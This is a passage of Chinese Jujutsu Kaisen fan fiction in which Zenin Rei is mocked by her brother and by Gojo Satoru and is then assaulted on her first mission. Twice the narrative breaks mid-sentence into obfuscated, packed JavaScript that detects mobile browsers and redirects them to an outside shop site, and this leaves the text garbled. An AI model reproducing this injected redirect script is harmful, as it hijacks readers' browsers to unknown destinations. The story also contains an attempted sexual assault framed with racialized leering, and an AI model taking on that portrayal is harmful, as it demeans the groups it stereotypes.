即便身高赋予了她物理上的存在感,那种由内而外透出的、仿佛承受不住任何重量的单薄感,依旧让她看起来像一枝被精心修剪、却随时可能被风吹折的黑色水仙。 她的脸庞是惊人的精致,如同被最苛刻的匠人雕琢过的日本瓷偶。眉眼线条清晰柔和,鼻梁秀挺,唇瓣是淡淡的樱花色。 最引人注目的是左眼角下,那颗小小一点、颜色浅淡的泪痣,像一滴永远凝在那里、欲坠未坠的泪,无声地诉说着某种惹人怜惜的哀愁。 只是此刻,她脸上的表情是空的,那双遗传自母亲的浅草绿眼眸,望着镜中自己清晰的倒影,里面却映不出什么情绪,只有一片沉静的、近乎麻木的疲倦。 走廊里传来了木质地板被刻意踩踏的、拖沓而傲慢的脚步声。 “哟,这么早就开始打扮了?看来你对去新学校很上心嘛。” 声音是少年的清朗,却裹着一层油腻的阴阳怪气,如同糖浆里掺了碎玻璃。禅院直哉的身影出现在门口,他没有完全走进来,只是斜倚着门框,双手枕在脑后,用一种饶有兴味的、如同打量新奇玩具般的目光,上下扫视着已经起身的怜。 他穿着京都咒术高专的定制校服,深色为主,样式更接近传统诘襟,将他早已长开的、属于少年的挺拔身姿勾勒出来,脸上是与幼时如出一辙的倨傲,只是随着年岁增长,那份傲慢里多了几分毫不掩饰的、对自身力量的确信和对“废物”的彻底轻蔑。 “以为跟我读不同的学校,就能摆脱我了?”直哉扯了扯嘴角,露出一个近乎恶意的笑容,“妹妹,你真是天真得可怜啊。我啊,可是会永远成为你的‘阴影’哦。毕竟——” 他拖长了语调,每一个字都像淬了毒的针: “跟‘天才’的我不同,你可是个彻头彻尾的‘废物’啊。走到哪里,这个标签都会跟着你的。就像影子一样,甩不掉的。” 禅院怜背对着他,在听到声音的刹那,身体几不可察地绷紧了一瞬。她咬住了下唇,用力到那淡粉的唇瓣失了血色。浅草绿的眸子里飞快地掠过一丝清晰的、混杂着不甘与愤怒的暗流。但仅仅是一瞬。 当她缓缓转过身,面向直哉时,脸上所有细微的情绪波动都已平复,只剩下那张精致却空洞、惯常示人的、唯唯诺诺的面具。她低下头,视线不敢与直哉对视,只虚虚地落在对方脚前的地板上,声音轻细,带着恰到好处的怯懦和恭顺: “哥哥说得对。正因为如此……我才不敢跟您读同一个学校。”她顿了顿,似乎需要鼓起勇气才能继续说下去,“您的光芒实在太耀眼了,无论在哪里,都会让我……无处遁形。” 这番话,显然极大地取悦了禅院直哉。他脸上的恶意笑容加深,似乎很享受这种被“废物”妹妹仰望和“惧怕”的感觉。他放下枕在脑后的手,依旧靠着门框,姿态愈发悠哉。 “哼,算你还有点自知之明。”他懒洋洋地说,“不过,就算不跟我一块,你照样会‘无处遁形’的。出去少提禅院家的名头,我们家族,可丢不起这个人。” “是,我知道了,哥哥。”怜连忙点头,腰弯得更低了些,长发从肩头滑落,遮住了她小半张脸,也遮住了她此刻真正的表情。那副样子,看起来依旧跟小时候没什么两样,毫无气场,柔弱可欺,仿佛一根指头就能碾碎。 直哉心满意足地哼了一声,似乎觉得再跟这个“废物”多费口舌也是浪费,转身哼着不成调的曲子,脚步声渐渐远去。 走廊重归寂静。 怜慢慢直起身,脸上那怯懦顺从的表情如同潮水般褪去,只剩下一片冰冷的麻木和眼底深处不易察觉的疲惫。她走到墙边,拎起一个早已收拾好的、款式简单的黑色皮质行李袋,转身,头也不回地离开了这间她住了十五年、却从未感到过一丝温暖的房间。 正如直哉所言,“废物”的名声早已在禅院家内部传遍。自从八年前那个四手娃娃凭空碎裂消失,她再未能“制造”出任何新的娃娃,那曾昙花一现、令人惊艳的反转术式也如同从未存在过,再也无法施展。 在极端看重术式传承与实战能力的禅院家,她这个嫡女,早已沦为众人眼中“占着名分的废品”。若不是嫡女身份和双生妹妹这层微妙的关系,她恐怕连踏入咒术界门槛、进入高专学习的资格都没有。 那些背后的议论、毫不避讳的轻视、甚至来自下位者的冷嘲热讽,她不是没听到。只是,除了咬牙吞下,她又能如何?她的“废物”是事实,至少在术式上是如此。 她现在能做的,只有握紧手中唯一能掌握的“东西”——那柄被她练了十一年的刀,以及这副被严苛训练打磨过的身体。 她的目标很实际:在咒术高专顺利毕业,拿到评级,以后当一个合格的辅助监督,或者,运气好的话,成为一个稳定的三级咒术师。然后,尽可能地,离禅院家远一点,过好自己的、平静的、不被打扰的生活。 这就是她选择东京都立咒术高等专门学校的原因。远离京都,远离禅院本家,远离那个永远笼罩着她的“天才兄长”的阴影。 黑色的轿车将她送到大筵山脚下,便毫不留恋地掉头离去。司机甚至没有多说一句嘱咐的话,态度如同完成一项无关紧要的差事。 接下来,是望不到头的、绵延向上的石阶,以及石阶两旁,在晨雾与山林间若隐若现的、一座接着一座的鲜红色鸟居。 空气清冷湿润,带着山林特有的草木与泥土气息。据说,这些台阶和鸟居并非普通的山路,每一段石阶、每一座鸟居之后,都可能连接着不同的方位与结界节点,寻常人即使走上这条山路,也永远无法找到隐藏在结界深处的咒术高专。 怜抬头望了一眼那似乎没有尽头的石阶,浅草绿的眸子沉静无波。她紧了紧肩上的行李袋带子,没有任何犹豫,迈开了脚步。 一步,两步……石阶平整却漫长。她走得并不快,步伐却异常稳定。黑色的靴底踩在湿润的石面上,发出轻微而规律的声响。山风拂过,吹动她黑色的裙摆和束起的马尾。 看似纤细柔弱、仿佛一阵风就能吹倒的身躯,在这陡峭的山道上行走起来,却透着一股与外表不符的沉稳与耐力。十一年的剑术与体能训练,早已将痛苦和汗水刻进了她的骨骼与肌肉记忆里,支撑着她在这条孤独的山道上,沉默而坚定地向上攀登。 走到约莫三分之二处,前方雾气稍散,隐约可见一处较为开阔的平台。平台上,已经站着几个人影。 怜的脚步几不可察地顿了一下。 即使隔着一段距离,即使没有那双传说中的“六眼”,她也能瞬间认出那个最醒目的存在——白发,墨镜,高挑到近乎突兀的身量,即使只是随随便便地站在那里,手揣在裤兜里,也像一根自带聚光灯的、嚣张又懒散的白色灯柱。 五条悟。 他身边还站着两个人。一个留着怪异的刘海、穿着同样高专制服、气质温和中带着疏离的俊秀少年。另一个则是短发、神情淡漠、嘴里似乎还叼着什么(大概是棒棒糖?)的少女。 似乎是察觉到了她的靠近,那怪刘海的少年转头看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153072|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,目光在她身上停留片刻,随即脸上露出一个温和的、带着点玩味的笑容,用手肘碰了碰旁边的五条悟: “悟,这就是你说的那个‘未婚妻’?”他的声音带着笑意,听起来并无恶意,却也谈不上多么尊重,“看起来……很不错嘛。” 五条悟拧着眉毛,连头都没完全转过来,只是用墨镜后的余光随意地扫了她一眼,语气是毫不掩饰的嫌弃:“杰,你从哪里看出‘不错’了?” 被称作“杰”的少年——夏油杰,耸了耸肩,笑容不变:“至少长得不错。很漂亮啊。” “嘁,”五条悟从鼻子里哼出一声,“那也就只剩下脸了。” 旁边短发的少女——家入硝子,瞥了两个男生一眼,没什么表情地吐槽:“喂,你们两个,对女孩子能不能稍微礼貌一点?” 禅院怜已经走到了平台边缘。她没想到五条悟会出现在这里,更没想到会是以这样……“夹道欢迎”般的方式。短暂的错愕后,她迅速低下头,避开了那几个人的视线,尤其是五条悟那即便隔着墨镜也仿佛能穿透人心的目光。她按捺住骤然加快的心跳,努力让声音听起来平稳,朝着五条悟的方向微微欠身: “五条君。” 五条悟这才完全转过身,墨镜微微下滑,露出小半截苍蓝色的眼瞳。那目光没什么温度地落在她身上,像是在评估一件物品是否完好,又像只是确认了她这么个人的存在。 “别误会了,”他开口,声音依旧是那股子散漫又欠揍的调调,“老子可不是专程来迎接你的。只是怕你这种‘大小姐’走错路,被困在山里,到时候还得麻烦老子去找。” 他抬了抬下巴,指向雾气更深处隐约可见的岔路和鸟居。“这地方,走错一步,可能就不知道拐到哪个犄角旮旯去了。麻烦。” 说完,他不再看她,自顾自地转身,朝着正确的山路方向走去,手依旧揣在兜里,步伐随意却带着一种理所当然的领头气势。 “走了,跟上。”他丢下三个字,是对她说的,语气平淡,如同使唤一个跟班。 夏油杰和家入硝子自然地跟在他身旁。三人之间似乎有一种无形的、融洽而随性的气场,夏油杰低声笑着说了句什么,五条悟回以一句不屑的吐槽,硝子则在一旁翻了个白眼。气氛轻松,带着少年人特有的、肆无忌惮的鲜活。 禅院怜沉默地站在原地,看着那三个背影。五条悟的背影比小时候更高大,却少了些高山之巅那种孤绝的神性,多了几分属于“最强”的、混不吝的张扬与……鲜活的人气?但她与这鲜活之间,隔着一层厚厚的、名为“差距”与“漠视”的冰壁。 她握紧了行李袋的带子,指节微微发白。 然后,她迈开脚步,跟了上去。 就像很多年前,在那座积雪的山上,她没有跟上他走向山顶的步伐。而这一次,她没有选择。命运的齿轮转动,将她推到了这条不得不跟上的路上。 前方,是五条悟轻松谈笑的背影,是他与同伴们自成一体、让她无比清晰意识到自己“外人”身份的世界。 她沉默地跟在后面,隔着一段不远不近、恰好不会打扰到他们、也让自己不至于太显眼的距离。黑色的身影在蜿蜒的山道上,显得孤单而沉默。 浅草绿的眸子望着前方,里面映着山林的苍翠,也映着那抹刺眼的白色。羡慕吗?或许有一点。自卑吗?那是肯定的。但更多的,是一种早已习惯的、冰冷的清醒。 她知道,如果没有“禅院家嫡女”和“五条悟未婚妻”这双重尴尬的身份,像她这样术式“无用”、咒力“平平”的人,恐怕连进入这所高专的资格都悬,更别提让这位“六眼”的神子屈尊降贵地“带路”了。 能被五条悟看在眼里、纳入身边圈子的人,无论是那个笑容温和却气息深不可测的怪刘海,还是那个神情淡漠却隐隐透着不凡的短发少女,都绝非泛泛之辈。 而她,禅院怜,大概只是这盘宏大棋局里,一枚微不足道、却又因联姻关系而被暂时标记在那里的、灰色的棋子。 山雾缓缓流动,将前后的身影都衬得有些模糊。只有靴子踩在石阶上的声音,清晰而规律,一声,又一声,叩响着她踏入咒术高专、也踏入一段崭新却注定不会平坦的、未知命运的门扉。 12.宿傩12 咒术高专二年级的教室,夜蛾正道站在讲台前,方正刚硬的脸庞上没什么多余的表情,只有惯常的严肃。 他目光扫过台下——五条悟正大咧咧地瘫在椅子上,长腿架在前排课桌的边缘,墨镜后的脸看不出情绪,只有嘴角微微下撇,透着一股百无聊赖;夏油杰坐姿相对端正些,但嘴角噙着一丝温和却疏离的笑意,目光落在窗外某处;家入硝子则低头摆弄着一个小巧的医疗包,对眼前的会议似乎并不太关心。 “以上,是关于本次任务的初步情报。”夜蛾的声音低沉平稳,“目标是一处废弃疗养院,确认有二级咒灵盘踞,可能有复数个体,特性偏向精神干扰与恐惧具现化。常规清除任务。” 他顿了顿,目光转向五条悟和夏油杰:“五条,夏油,这次任务,你们两人负责主要祓除。” 这安排并不意外。作为二年级中最强的两人(或者说,这一代中最强的两人),处理二级咒灵的任务确实有些大材小用,但偶尔也需要他们去“清扫”一些相对麻烦或可能隐藏变数的区域,算是实战经验的积累,也是对任务等级的保险。 然而,夜蛾接下来的话,让五条悟架在桌上的腿放了下来。 “同时,”夜蛾的视线转向教室门口方向,仿佛能穿透门板看到外面,“你们需要确保一年级新生,禅院怜的安全。这是她第一次正式出任务。” 教室里安静了一瞬。 五条悟的眉毛在墨镜后高高挑起,他微微坐直身体,声音里充满了毫不掩饰的质疑和……嫌弃? “哈?保护?夜蛾老师,我没听错吧?”他歪了歪头,墨镜滑下一点,露出那双苍蓝得摄人的眸子,直直看向夜蛾,“她是几年级?一年级吧?一年级生出任务,为什么要我们二年级的来当保姆?而且还是两个人?” 他语速很快,带着惯常的、那种“老子天下第一”理所当然的腔调:“七海和灰原那两个小子不是也挺厉害的吗?同是一年级,让他们组队去不就行了?凭什么要我们‘保护’她?” 夜蛾正道脸上没有什么波澜,似乎对五条悟的反应早有预料。他只是平静地解释:“七海建人和灰原雄确实是很出色的后备,但这次任务地点情况可能比报告显示的更复杂,禅院怜同学作为初次执行任务的新生,经验不足,需要更稳妥的保障。” “保障?”五条悟嗤笑一声,重新瘫回椅背,语气更加不耐,“说到底不就是因为她太弱了吗?弱到连普通的二级任务都可能随时死掉,所以需要‘最强’来当保镖?夜蛾老师,你这是看不起我和杰,还是太看得起那个‘禅院’了?” 他的话直白而残酷,没有丝毫委婉。夏油杰微微侧目看了他一眼,嘴角的笑容淡了些,但没说什么。家入硝子停下了手中的动作,抬眼看了看五条悟,又看了看夜蛾,轻轻叹了口气。 夜蛾正道沉默了几秒。他知道五条悟说的部分是事实,但作为教师,他考虑的更多。他看着五条悟,那张总是带着玩世不恭神情的脸上,此刻写满了对这项“额外任务”的抵触。 然后,夜蛾用一种近乎陈述事实的、略带无奈的语气,说出了那个在场所有人都心知肚明,却很少会直接点破的理由: “五条,她是你的未婚妻。” 话音落下的瞬间,教室里的空气似乎凝滞了一下。 五条悟脸上的不耐烦瞬间达到了顶峰,甚至带上了一丝被冒犯般的烦躁。他猛地一拍桌子(没用力,但声音很响),站了起来,墨镜后的苍蓝眼眸锐利地盯住夜蛾: “未婚妻?哈!谁承认了?那种家族联姻的玩意儿,跟我有什么关系?”他的声音拔高,带着少年人特有的尖锐和叛逆,“本大爷的未来妻子?就算有,也绝对不可能是这么弱的‘凡人’!” “凡人”两个字,被他刻意咬得很重,充满了划清界限的意味。在他眼中,或许只有拥有足够力量、能够与他并肩(或者至少不拖后腿)的存在,才勉强有资格被他纳入“同类”的范畴。而禅院怜,那个咒力微弱、术式“无用”、看起来风一吹就倒的“禅院之耻”,显然连这个门槛的边都摸不到。 夜蛾正道看着他,没有动怒,只是眼神更深沉了些。他安排五条和夏油保护怜,固然有“未婚妻”这层关系的考量(五条家那边确实有过暗示),但更深层的原因,正如五条悟自己点破的——怜太弱了。 弱到即使有七海和灰原这样出色的一年级生同行,在真正残酷的咒术界任务中,依然可能因为一个疏忽、一次意外、甚至仅仅是运气不好而殒命。二级咒灵,听起来等级不高,但咒灵的能力千奇百怪,经验不足者极易中招。 夜蛾看过怜的训练记录,她的体术和剑术基础很扎实,咒力操控也勉强合格,但缺乏实战应变,更重要的是……她身上有一种过于“易碎”的气质,不是指身体,而是指某种精神层面的东西,仿佛承受不了太多真实的血腥与死亡冲击。 而且,夜蛾很清楚禅院家的作风。那个家族奉行赤裸裸的“强者为尊”,即便是嫡女,没有相应的实力,在家族内部也形同草芥,不会得到多少真正的关注和保护。就像那个因为天生咒力低微、最终被边缘化乃至近乎逐出家门的禅院旁系子弟一样。 如果怜真的死在外面,禅院家或许会因面子问题向高专施压,但绝不会真的为她感到多少痛惜。夜蛾作为教师,无法坐视自己的学生,因为这种残酷的家族规则和实力差距,而轻易地折损在一次本不该如此危险的任务里。 所以,他动用了自己的权限,强行安排了最强的保障。他知道五条悟会不满,但他认为这是必要的。 --- 教室门外。 禅院怜的手指,轻轻搭在冰凉的木质门板上,正准备敲门。 她按照夜蛾老师通知的时间提前了一些到达,却在靠近教室时,隐约听到了里面的对话声。声音透过并不完全隔音的门板,断断续续,但足够清晰。 她听到了五条悟那极具辨识度的、带着不耐烦和轻蔑的声音。 “……凭什么要我们‘保护’她?” “……说到底不就是因为她太弱了吗?” “弱到连普通的二级任务都可能随时死掉……” 每一个字,都像一把冰冷的小锤,精准地敲击在她早已千疮百孔却又强自麻木的心防上。指尖的温度迅速流失,变得和门板一样冰凉。 她知道。她一直都知道。 知道自己弱。知道在咒术师的世界里,弱小本身就是原罪。知道若非这层尴尬的“未婚妻”身份和夜蛾老师出于责任的考量,她可能连站在这里、参与这种级别任务的资格都需要拼命争取。 她甚至能想象出五条悟说这些话时的表情——眉头紧拧,嘴角下撇,墨镜后的眼睛里写满了毫不掩饰的嫌弃,仿佛她是什么需要被特别处理的麻烦垃圾。 然后,她听到了夜蛾老师那句平静的:“五条,她是你的未婚妻。” 以及五条悟紧随其后、几乎是不假思索的、斩钉截铁的反驳: “未婚妻?哈!谁承认了?……本大爷的未来妻子?就算有,也绝对不可能是这么弱的‘凡人’!” “凡人”。 这个词像一根淬了冰的针,狠狠扎进她的耳膜,刺入心脏。 原来……在他眼里,她连“弱者”都算不上,只是一个……“凡人”?一个与他所在的、属于“强者”和“神子”的世界彻底隔绝的、平庸的、不值一提的“凡人”? 教室内的声音还在继续,但她已经有些听不真切了。耳朵里嗡嗡作响,血液仿佛瞬间冲上头顶,又在下一刻冻结。一种混合着尖锐刺痛、巨大羞耻和更深沉无助的冰冷感,从心脏蔓延到四肢百骸。 失望吗?或许有,但更多的是早已预料到的、尘埃落定般的钝痛。悲伤吗?有的,但那悲伤被一种更强烈的、名为“现实”的冰冷牢牢压制着。 她不能哭。不能失态。不能在这里,在这个时候,流露出丝毫的软弱。那只会坐实“弱者”和“凡人”的评价,让一切更加难堪。 她深深地、缓慢地吸了一口气。初春走廊微凉的空气吸入肺腑,带着些许尘埃的味道。然后,将这口气连同胸腔里翻涌的所有酸涩、难堪、不甘,一起缓缓地、用力地吐出。 脸上的表情,如同被一只无形的手强行抚平。所有的波动都被压下去,藏起来,锁进那副早已演练过千百遍的、平静而略带疏离的面具之后。只有那双浅草绿的眸子深处,掠过一丝极快、极深的黯淡,随即也归于沉静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“外籍诅咒师?”五条悟原本撇着的嘴角忽然勾起一个充满兴味的弧度,但依旧是那种满不在乎的调调,“外国的咒术师?或者说……诅咒师?能强到哪儿去?外面的咒灵普遍强度就不高,养出来的咒术师和诅咒师,水平恐怕也有限吧?”他嗤笑一声,“来了也只是给老子虐菜罢了。” 他对自身“最强”的自信,让他对所谓“外籍”的威胁嗤之以鼻。 夜蛾正道看了他一眼,没有反驳,只是沉声道:“不要掉以轻心,五条。不同地域的‘力量’体系可能存在差异。在某些特殊国家或文化圈,虽然基于负面情绪产生的‘诅咒’力量或许不像我们这里这么活跃、强大,但对于‘神明’、‘信仰’、‘自然灵’等概念的崇拜和畏惧,可能催生出性质截然不同的‘力量’。而这些力量……有时也可能以‘诅咒’或类似的形式显现,未必容易对付。” 他的话带着警示。咒术的世界广袤而复杂,并非只有日本这一种模式。信仰的力量,在某些情况下,可能比纯粹的怨念更加古老、深邃,也更难以用常理揣度。 五条悟不置可否地“嘁”了一声,显然没太放在心上。夏油杰则若有所思地点了点头。家入硝子收拾好了医疗包,站起身,表示自己会留在高专待命。 禅院怜安静地站在一旁,听着这些对话。夜蛾老师提到的“外籍诅咒师”和“不同体系的力量”,对她而言是陌生的领域。但此刻,她的心思更多被即将到来的任务,以及……身边这个极度不情愿的“保护者”所占据。 “那么,”夜蛾正道最后总结道,“出发吧。安全第一,任务其次。禅院,跟紧五条和夏油,多看,多学,但不要擅自行动。” “是,夜蛾老师。”怜再次低头应道。 五条悟已经第一个站了起来,双手插兜,看也没看怜一眼,径直朝着教室门外走去,只丢下一句懒洋洋的: “走了,麻烦。” 夏油杰对怜做了个“请”的手势,笑容温和依旧。怜深吸一口气,握紧了随身携带的(用特殊咒符布包裹的)长刀刀鞘,迈步跟了上去。 她的背影挺直,黑色的高专制服在晦暗的教室光线下,几乎与阴影融为一体。只有束起的马尾随着步伐轻轻晃动,泄露出一丝不易察觉的紧绷。 第一次任务,就这样,在弥漫着轻视、无奈、警惕与未知风险的复杂气氛中,拉开了序幕。而前方等待她的,不仅是废弃疗养院中扭曲的咒灵,还有笼罩在迷雾中的、来自异域的潜在威胁,以及身边那位“最强”搭档毫不掩饰的冷漠与不耐。 13.宿傩13 废弃疗养院坐落在东京远郊的山坳里,远离公路,被疯长的林木半掩着,像一头蜷缩在阴影里腐烂的巨兽。锈蚀的铁门歪斜着,露出后面荒草丛生、建筑斑驳的庭院。空气里弥漫着潮湿的霉菌味、植物腐败的气息,以及一种更深层的、粘稠不祥的咒力残秽。 辅助监督在山脚下布下“帐”后便驱车离开,将这片寂静的战场留给了三名高专学生。 五条悟走在最前面,双手依旧插在裤兜里,步伐散漫得像是来郊游。 墨镜后的六眼早已将整个疗养院的咒力流动“看”得清清楚楚,几团污秽的能量源在建筑深处缓缓蠕动,确实是二级咒灵的水准,对他而言连热身都算不上。他只觉得无聊,对这种“保姆任务”的厌烦几乎写在脸上。 夏油杰落后他半步,神色相对谨慎些,但也谈不上紧张。他手中把玩着一颗漆黑的咒灵玉(某个低级咒灵的残骸),目光扫视着周围的环境,评估着可能存在的陷阱或异常。 禅院怜跟在他们身后几步远的地方。她左手紧握着用符布包裹的长刀刀鞘,右手垂在身侧,指节因为用力而微微发白。浅草绿的眸子警惕地观察着四周每一处阴影、每一扇破损的窗户。 心跳在寂静中显得格外清晰,混合着对未知任务的紧张,以及……身边两位“保护者”无形中带来的巨大压力。她努力让自己看起来镇定,但微微抿紧的唇线和略显僵硬的肩膀,还是泄露了内心的不安。 她刻意落后那两人一点,仿佛这样就能减少自己的存在感,不打扰到他们,也不显得自己过于累赘。 三人就这样以一种微妙而沉默的姿态,穿过破败的前庭,走向那栋最为高大的主楼。 然而,就在五条悟的靴子即将踏上主楼前最后一级碎裂的石阶时—— 异变陡生! 空气中传来一阵极其轻微、却令人头皮发麻的“嗡”鸣,仿佛无数细密的音叉被同时敲响!紧接着,以他们三人为中心,地面、空气、甚至光线,都骤然扭曲、折叠! 不是咒灵的袭击,也不是陷阱的触发。这是一种更高级、更精密的——结界术! “嗯?”五条悟眉头一挑,苍蓝的六眼中闪过一丝兴味,但更多的是被打扰的不悦。他几乎是本能地抬手,指尖咒力凝聚,想要以暴力强行撕开这层突然出现的空间隔绝。 但发动结界的人显然早有准备,并且对空间法则的理解极为深刻。结界的成型快得超乎寻常,并非单一的屏障,而是如同精密的分割器,瞬间将原本统一的空间切割成了三个独立且稳固的“格子”! 五条悟的指尖咒力击打在无形的空间壁垒上,只激起一圈圈水波般的涟漪,随即消散。他“啧”了一声,六眼飞速分析着结界的结构和强度。 “杰!”他喊了一声。 “看到了。”隔壁“格子”里传来夏油杰沉稳的声音,同样带着一丝凝重,“是冲着我们来的。专门的空间分割结界……有意思。” 而第三个“格子”里—— 禅院怜在空间扭曲的瞬间,只觉得一阵天旋地转,眼前的景象如同被打碎的万花筒,五条悟和夏油杰的背影瞬间消失!下一秒,她发现自己独自置身于一片完全陌生的、灰蒙蒙的空间中! 四周是无形的墙壁,向上望不到顶,向下是坚实却同样模糊的“地面”。寂静,绝对的寂静,只剩下她自己骤然急促的呼吸和心跳声。 恐慌,如同冰冷的潮水,瞬间淹没了她! “五条君?夏油君?!”她失声喊道,声音在封闭的空间里回荡,显得空洞而无力。没有任何回应。 她被单独隔离了!在这个充满未知危险的任务地点! 怎么办?结界怎么破除?咒灵在哪里?五条他们会不会有事?无数个问题在脑海中炸开,让她几乎窒息。她强迫自己冷静,浅草绿的眸子死死盯着周围灰蒙蒙的“墙壁”,试图找到薄弱点或者咒力流动的痕迹。她握紧了刀,摆出防御姿态,虽然手心已经沁出了冷汗。 就在她精神紧绷到极致的时刻,面前的“墙壁”如同水面般波动起来,一个人影,缓缓从中“渗”了出来。 那是一个身材高大、肌肉贲张的男人,皮肤是常年暴晒后的深棕色,几乎接近黝黑。他穿着一身风格奇异的、仿佛由多种布料和金属饰品胡乱拼凑而成的衣物,脸上带着一种混合了残忍、傲慢与淫邪的诡谲笑容。 最令人心悸的是他周身散发出的气息——并非纯粹的咒力或怨念,而是一种更加古老、混乱、充满了毁灭与创造矛盾意味的庞大威压,仿佛有什么极其恐怖的东西,寄宿在他的体内,正透过他的眼睛,冰冷地俯瞰着眼前这个“渺小”的猎物。 “哟,小美人儿。”男人开口,声音粗嘎,带着浓重的异域口音,日语说得有些生硬,但其中的恶意清晰无比。他上下打量着怜,目光如同黏腻的舌头,舔过她苍白的脸颊、纤细的脖颈、被制服包裹的曲线,最终停留在她那双因惊恐而睁大的浅草绿眸子上。 “竟然派我来对付这么个小丫头片子……真是无聊透顶。”他咂着嘴,仿佛是对同伴的安排感到不满,“你们也太小看我了。算了,早点结束,早点去东京享受……”他眼中冒出贪婪的光,“六本木,银座……还有你们日本那些细皮嫩肉的陪酒女郎……嘿嘿。” 他一边说着,一边搓着手,朝着怜步步逼近。那眼神里的欲望毫不掩饰,如同盯上了小白兔的毒蛇。 怜浑身的血液仿佛瞬间冻结了!巨大的恐惧攫住了她,让她几乎无法呼吸。不是因为对方可能拥有的恐怖力量(那也很可怕),而是因为那眼神中赤裸裸的、令人作呕的淫邪和占有欲! 拔刀! 几乎是本能反应,她猛地抽出了长刀!寒光一闪,刀尖指向步步逼近的男人。新阴流的起手式标准而凌厉,显示出她多年苦练的功底。 然而,在绝对的力量和速度差距面前,这凌厉的刀术显得如此无力,甚至……可笑。 “哦?还会玩刀?”男人——湿婆的受肉/体,露出了更加戏谑残忍的笑容,仿佛在看一只试图用爪子反抗的奶猫。他甚至没有动用体内那恐怖神祇的力量,只是以远超常人的□□速度,如同鬼魅般侧身,轻易地避开了怜因紧张而略显迟滞的直刺。然后,他伸出手,如同铁钳般,精准地抓住了怜握刀的手腕! “咔嚓”一声轻响,并非骨头断裂,而是怜感觉自己手腕的骨骼和肌腱被一股巨力捏得生疼,几乎要失去知觉!长刀“哐当”一声脱手落地。 “放开我!”怜尖叫,用尽全身力气挣扎,另一只手试图去抓对方的眼睛或咽喉。但她的攻击在对方眼中慢如蜗牛,轻易就被格开。 湿婆受肉/体狞笑着,将她更用力地拉向自己,那张黝黑粗糙、带着浓重体味的脸孔凑近,几乎要贴到她的脸上。“细皮嫩肉……真白啊……比我们那边的婆罗门女人还要白……”他贪婪地嗅着,口中喷出的热气让怜恶心欲呕,“东亚女人……就是不一样……” 绝望! 前所未有的绝望感,如同冰冷的铁水,灌满了怜的四肢百骸!力量差距太大了!结界封锁了空间,求救无门!而这个男人……这个恶心的男人……他想要的不只是杀死她! 她无法想象被这样的人触碰、玷污会是怎样一种地狱般的景象!那不仅仅是□□的伤害,更是灵魂都会被污染、撕碎的极致耻辱与恶心! 与其那样……与其那样……! 一种近乎自毁的、极致的抗拒与厌恶,混合着对自身无力的愤怒,在她心底最深处轰然爆发!那不是求生的意志,而是宁可彻底消亡、也绝不被如此亵渎的决绝! 就在这意识被极致的恐惧与厌恶彻底淹没的刹那—— “嗡!” 一股奇异而熟悉的悸动,毫无征兆地从她空着的左手掌心传来! 不,不是掌心,是更深的地方,仿佛源自灵魂的某个角落,那个自从八年前碎裂消失后,就再未有过任何响应的、空洞的角落! 温暖?不,是灼热!带着一种蛮横、暴戾、却又无比熟悉的……存在感! 光芒,并非柔和圣洁的乳白色,而是一种暗沉的、边缘跳跃着不祥黑色电光的暗红色光芒,骤然从她紧握的左手拳缝中迸射出来!光芒并不强烈,却带着一种撕裂空间的质感! 光芒瞬间包裹了她的左手,然后迅速延展、凝聚! 一个“东西”,凭空出现在她的手中。 不是曾经那个四手四眼、Q版可爱的“小粉红”。 而是一个……少年体的人偶? 约莫十五六岁的外貌,身形已然长开,接近成年男子的修长挺拔,却依旧带着少年的清瘦感。同样粉色的短发,比记忆中更加凌乱不羁。 脸上依旧是四只眼睛——猩红的、充满了非人戾气的四只眼睛,只是轮廓更加清晰锐利,眼尾微微上挑,透着一股睥睨与不耐烦。 最引人注目的,是他脸颊、脖颈、乃至裸露出的手臂皮肤上,布满了蜿蜒诡异的黑色纹路!那纹路并非刺青,更像是某种活着的、流淌的诅咒,深深烙印在“皮肤”之下,随着光芒的明灭而微微起伏,散发着令人心悸的不祥气息。 在咒术师的常识里,如此大规模、如此显眼的黑色咒纹,通常只出现在那些过度使用禁忌力量、或与强大诅咒深度结合的诅咒师身上。 怜握着这个突然出现的、触感温热甚至有些烫手、散发着危险气息的少年人偶,大脑一片空白。浅草绿的眸子里充满了极致的困惑。这是……什么?新的娃娃?可为什么会是这种样子?小粉红……长大了?还是……完全不同的东西? 然而,敌人不会给她思考的时间。 “嗯?什么东西?”湿婆受肉/体也被这突如其来的光芒和气息弄得一怔,但随即更加兴奋,“还有小把戏?有意思!等本大爷先‘享用’了你,再慢慢研究!” 他狞笑着,空着的那只手,已经朝着怜的衣领抓来!动作粗暴,充满了迫不及待的占有欲! 就在那只肮脏的手即将触碰到怜的瞬间—— 握在怜手中的那个“少年人偶”,那双一直紧闭的四只猩红眼眸,倏然睁开! 没有迷茫,没有适应,只有一片沉淀了无尽黑暗与暴戾的冰冷杀意,瞬间锁定了近在咫尺的湿婆受肉/体! 下一瞬,人偶从怜的手中消失了。 不,不是消失。 是“它”挣脱了“玩偶”的形态,或者说,怜手中那个“载体”只是一个临时通道、一个坐标! 一道颀长、挺拔、周身缠绕着暗红色不祥咒力与黑色电光的身影,如同撕裂空间的血色闪电,毫无征兆地、凭空出现在了怜与湿婆受肉/体之间! 那身影背对着怜,将她完全挡在身后。 他有着和“人偶”一模一样的粉色短发,四只猩红的眼眸(此刻全部睁开),以及布满诡异黑色咒纹的侧脸。他穿着一身样式古朴、却仿佛由最深沉黑暗凝结而成的和服,四只手臂自然垂在身侧,其中两只手的指尖,正跳跃着与方才光芒同源的、令人灵魂战栗的暗红电光。 他甚至没有回头看怜一眼,也没有任何废话。 只是对着面前因这剧变而瞬间露出惊愕神情的湿婆受肉/体,极其随意地、却带着一种斩断一切的漠然,抬起了右手。 